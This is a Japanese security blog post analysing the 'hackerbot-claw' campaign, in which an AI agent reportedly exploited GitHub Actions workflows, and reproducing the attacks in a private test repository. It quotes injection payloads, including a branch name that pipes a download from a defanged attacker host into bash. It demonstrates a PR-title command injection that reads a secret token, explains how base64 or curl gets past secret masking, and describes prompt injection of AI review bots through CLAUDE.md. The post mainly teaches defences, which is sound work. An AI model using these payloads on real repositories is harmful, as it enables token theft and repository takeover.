😈

PRを送るだけでリポジトリを「乗っ取れる」?GitHub Actionsの危ない書き方を実際に検証してみた (hackerbot-claw)

に公開

こんにちは!エーアイセキュリティラボのはるぷです。

2026年2月下旬、オープンソース界隈を揺るがす自動攻撃キャンペーンが実施されました。ターゲットとなったのは、誰もが名前を知るような大手企業のプロジェクトを含む主要なリポジトリ群。攻撃の主導者は 「hackerbot-claw」 と呼ばれる、AI(Claude-Opus-4.5)を搭載した自律型セキュリティ調査エージェントです。

このボットはわずか1週間で、7つのターゲットのうち少なくとも4つでリモートコード実行(RCE)に成功し、書き込み権限を持つGitHubトークンを外部へ流出させました。

このStepSecurityの解析レポートを読み、私は自分のテスト用リポジトリ(private)で、攻撃手法を実際に再現・検証しどの程度簡単にできてしまうのかを調べてみました。


脆弱性の仕組みとリスクが大きくなる条件

実際にGitHub上で、多くのリポジトリがどのようにGitHub Actionsを運用しているのかを調査したところ、 スター数結構ついている大手プロジェクトでさえ、極めて危険な書き方をしているケースが複数(現在進行形で)見つかりました。誰もが名前を知るような組織・プロダクトであっても、実装一つで簡単に「乗っ取り」を許してしまう状態にあり、この問題の影響範囲は極めて広大であると痛感しています。

基本的な脆弱性の仕組みとしては、主に以下の3点になります。

  • 外部からの入力をエスケープせずにコマンドに連結してコマンドインジェクションが発生する
  • 攻撃者の作成したコードを直接実行してしまい不正なコードが実行される
  • AIへのプロンプトインジェクションをされ誤動作させる

調査の結果、ワークフロー(GitHub上での特定の操作(トリガー)をきっかけに、あらかじめ決めた処理を自動で実行する仕組み)が攻撃に対して致命的な無防備になるケースがわかりました。リスクが大きくなるケースは、主に以下の3つの条件が関わっています。

  1. 強い権限設定 (permissions: contents: write など)
    書き込み権限が付与されているワークフローでインジェクションを許すと、リポジトリの支配権(コードの改ざんや不正マージ)を即座に奪取されます。

  2. 秘密情報の読み込み (env への secrets 展開)
    環境変数にAPIキーやトークンを読み込んでいる場合、シェル変数展開の隙を突いて、それらすべての機密情報が外部へ流出(Exfiltration)するリスクがあります。

  3. 独自ホストの利用 (runs-on: self-hosted)
    これも場合によっては深刻なパターンになりえます。StepSecurityの記事にはこのパターンはありませんでしたが、GitHubが提供する隔離されたクラウド環境ではなく、自社管理サーバー(オンプレミス等)で動かしている場合、攻撃者はCI環境を足場に社内ネットワークへ侵入したり、サーバーに永続的なバックドアを仕掛けたりすることが可能になります。


hackerbot-clawが突いた「原理」を身近なコードで実証する

hackerbot-clawが用いたエクスプロイトはAIを駆使した高度なものでしたが、その攻撃が成立している「根本的な原理」は、私たちが日常的に書いてしまうような数行の実装ミスにあります。

StepSecurityの記事で紹介された手法を参考に、より一般的で簡略化したコードを使って、どこまで簡単に再現できてしまうのかを hackerbot-claw-test で検証しました。

1. PRタイトル / ブランチ名 / ファイル名インジェクション

このパターンでは、run ステップ内の ${{ }} の直接展開を狙います。攻撃者はここにシェルの制御文字を混入させます。

  • 記事の攻撃手法:
    • ブランチ名: dev$({curl,-sSfL,attacker[.]com/molt}${IFS}|${IFS}bash)
    • ファイル名: rules/$(echo${IFS}Y3Vyb...|base64${IFS}-d|bash).md
  • 身近なコードでの実証:
    わかりやすく、「PRを出したら仕込んだコマンドが実行されてしまった」という例で示したいと思います。
    まず、適当にリポジトリを作ります。自分でやるときはprivateリポジトリにするのを忘れないようにしましょう!

.github/workflows/exploit-test.yml に以下の内容のファイルを作成し、mainブランチに反映します。

name: Vulnerable Notification
on:
  pull_request_target:
    types: [opened]

jobs:
  notify:
    runs-on: ubuntu-latest
    steps:
      - name: Dummy Notification
        env:
          SECRET_TOKEN: ${{ secrets.SECRET_TOKEN }}
        run: |
          echo "New PR Received: ${{ github.event.pull_request.title }}"

変更を加えてブランチをpushします

% git clone git@github.com:harupu/hackerbot-claw-test.git
% cd hackerbot-claw-test
% echo 'Hello!!!!' >> README.md 
% git add README.md                 
% git commit -m 'Exploit Commit!!!!'
% git push origin exploit-branch

そして、PullRequestを作成します。ここでは、タイトルを、「Test"; echo $SECRET_TOKEN; touch /tmp/pwned; ls /tmp; #」として作成します。

「All checks have passed」になったら、「Vulnerable Notification / notify (pull_request_target)」をクリックして結果を確認します。

結果から、「/tmp/pwned」が作成され、lsの結果も見れるようになっていることがわかります。ただ、echo $SECRET_TOKEN に相当する部分が「***」となって見れないようになっています。GitHub側でSECRETをmaskして表示する処理(Secret Masking)が入っているようです。

これは、例えばbase64などを通す(echo $SECRET_TOKEN | base64)と、文字列が変換された状態で表示されるようになるため、ここまでできてしまう状態だと本質的に漏洩を防げません。実際の攻撃では、curlを利用した外部のサーバに直接飛ばし悪用できるようにしているようでした。

【検証結果】
GitHub Actionsのログを確認したところ、PRタイトルに仕込んだスクリプトが「実行命令」として解釈されていることがはっきりと確認できました。

  • 複数のコマンド実行:

    • タイトルに含めた ; touch /tmp/pwned; ls /tmp; が実行され、本来の echo 命令の後にファイルが作成され、その存在が ls によってログに表示されました。任意のコマンドが記述できる状態にあるということがわかります。
  • 機密情報の露出:

    • echo $SECRET_TOKEN の結果は GitHub のログ上では *** とマスクされています。しかし、これは「表示上の制限」に過ぎません。検証で述べた通り、base64 でエンコードして出力したり、curl で外部サーバーに送信したりすれば、このマスクを回避して中身を盗み出すことは極めて容易です。
  • 攻撃の成立:

    • たとえコード自体に悪意がなくても、${{ }} による直接展開があるだけで、外部(PR送信者)がランナー上で任意のコマンドを動かし、環境変数にある機密情報にアクセスできる「乗っ取り」状態が再現されました。

【推奨される対策】

run ステップ内で ${{ }} を利用して直接展開をせずに、中間環境変数を使うようにします。参考:安全な使用に関するリファレンス (GitHub公式)

env:
  # 1. コンテキストは必ず env で受け取る(ここは安全)
  PR_TITLE: ${{ github.event.pull_request.title }}
run: |
  # 2. `${{ }}` ではなくシェル変数($PR_TITLE)として参照する
  # 3. 適切にクォートし、printf などで文字列として出力する
  printf "PR Title: %s\n" "$PR_TITLE"

2. pull_request_target 下での不正コード実行

PRに含まれる 「攻撃者が書いたコード」 を、本体リポジトリの強権限(Secretsにアクセスできる状態)で実行させてしまう脆弱性を突いています。

  • 記事の攻撃手法 (Goの init() 関数悪用):
    ターゲットとなったリポジトリでは、pull_request_target 下でPRのコードをチェックアウトし、go testgo run を実行していました。
    攻撃者はPRのコード内に func init() を挿入。Go言語の仕様上、メイン処理が呼ばれる前にこの関数が自動実行されます。テストが開始された瞬間に攻撃コードが動き、環境変数にある GITHUB_TOKEN を外部へ送信することに成功しました。

  • 「実行」の定義は広い:スクリプトやバイナリの罠
    これはGoに限った話ではありません。PRで送られてきたスクリプト(例えば、 .sh, .py, .js)や、ビルドプロセス(make, npm install 等)をワークフロー内で呼び出している場合も同様に危険です。pullreq内の特定のプログラムが動作するかのテストをするために、送られてきたコードを実行するなどの際にも同様のことが発生します。

【検証による実証】

  • 脆弱なワークフロー例:
name: Vulnerable Notification
on:
  pull_request_target: # 本体(base)リポジトリの権限・Secretsで動作する
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR code
        uses: actions/checkout@v4
        with:
          # 攻撃者が自由に書き換えられる「PRブランチのコード」をチェックアウト
          ref: ${{ github.event.pull_request.head.sha }}

      - name: Run Test Script
        # 環境変数に Secret をロード
        env:
          SECRET_TOKEN: ${{ secrets.SECRET_TOKEN }}
        run: |
          # チェックアウトした PR 内のスクリプトをそのまま実行
          chmod +x ./scripts/test.sh
          ./scripts/test.sh

【推奨される対策】
基本としては、「攻撃者のコード(PRに含まれるスクリプト、バイナリ、ビルドコマンド)は実行しない」に尽きると思います。緩和策は後述。

3. AIプロンプトインジェクションの試行

AI(Claude Code等)にレビューを依頼する最新のワークフローを狙い、プロジェクト構成ファイル(CLAUDE.md 等)を介して指示を上書きする手法です。

このプロンプトインジェクションについては、使用するLLMモデルの種類やバージョン、各ベンダーが施している安全フィルターの挙動に依存し、一律な対策や検証が極めて困難であるため、本記事での実機検証は割愛します。しかし、モデルが「騙される」ことを前提とした、被害を最小限に抑えるためのシステム設計上の防壁について整理しました。

【推奨される対策】

AIがどれだけ巧妙な指示によって「悪意のあるコードをマージしろ」と吹き込まれたとしても、物理的に「できない」状態を作ることが重要です。

  1. 実行権限の厳格な制限 (allowed_non_write_users)
    StepSecurityの記事の事例では、allowed_non_write_users: '*'(書き込み権限のない全ユーザーに実行を許可する)という極めて危険な設定が攻撃の引き金になりました。外部からのPRで強力なActionが動かないよう、実行可能なユーザーを「リポジトリの共同作業者(Collaborator)」のみに限定する必要があります。

  2. ワークフロー自体の権限最小化
    AIレビュー用のジョブには contents: read 権限のみを付与します。AIが勝手にコミットやプッシュを行える contents: write 権限を最初から与えないことが、最大の物理的な防御壁になります。

  3. 信頼境界(Trust Boundary)の固定
    外部(PR)から送られてくる CLAUDE.md などの設定ファイルをAIに読み込ませるのではなく、ワークフロー定義(.github/workflows)側で固定された「システム指示(System Prompt)」を常に優先する設計にします。


対策

今回の検証で明らかになったリスクを排除するルールはシンプルです。それは、信頼できない入力をそのまま実行しない ことに尽きます。

まとめ:AIボットからリポジトリを守るための3つの鉄則

今回の検証を通じて、GitHub Actionsの「1行の書き方の作法」が、リポジトリ全体の命運を分けることが再確認できました。特にAIボットが24時間体制で脆弱性をスキャンしている現代において、以下の3点は最低限押さえておくべきと言えます。

  1. 「データ」と「命令」を分離する
    ${{ }}run 内で展開するのはやめましょう。たとえ安全だと思える値であっても、必ず環境変数(env)を経由させ、シェル変数として扱う癖をつけることが最大の防御になります。

  2. pull_request_target の「安易なcheckout」は厳禁
    外部のコードを本体権限(Secretsにアクセスできる状態)で動かす行為は、攻撃者にとって格好の標的です。
    原則: pull_request_target を使うワークフローでは、PRに含まれるスクリプト、バイナリ、ビルドコマンド(npm install, go test 等)を絶対に実行しないでください。
    代替策: テストが必要な場合は、Secretsが隔離された通常の pull_request イベントで実行するか、どうしても特権が必要な場合は「信頼できるユーザーの承認」をトリガーにする設定(environment の承認制など)や、権限を極限まで絞った分離ワークフロー(Workflow Call)を検討してください。

  3. 「AIの善意」に依存しない設計を
    AIエージェントによる自動化は強力ですが、AIもまた「騙される」可能性があります。権限分離という基本的な原則が、最新のAI攻撃に対しても有効な防壁となります。

最後に

「大手のリポジトリだから安全」「自分のリポジトリは有名じゃないから大丈夫」という考えは、もはや通用しません。hackerbot-clawのようなAIボットは、リポジトリの有名無実を問わず、一律に脆弱性を突きにきます。

便利な自動化が、攻撃者にとって便利な仕組みに変わっていないか、この機会に自分のリポジトリの .github/workflows を一度見直してみてください。


参考資料:

株式会社エーアイセキュリティラボ 開発本部

Discussion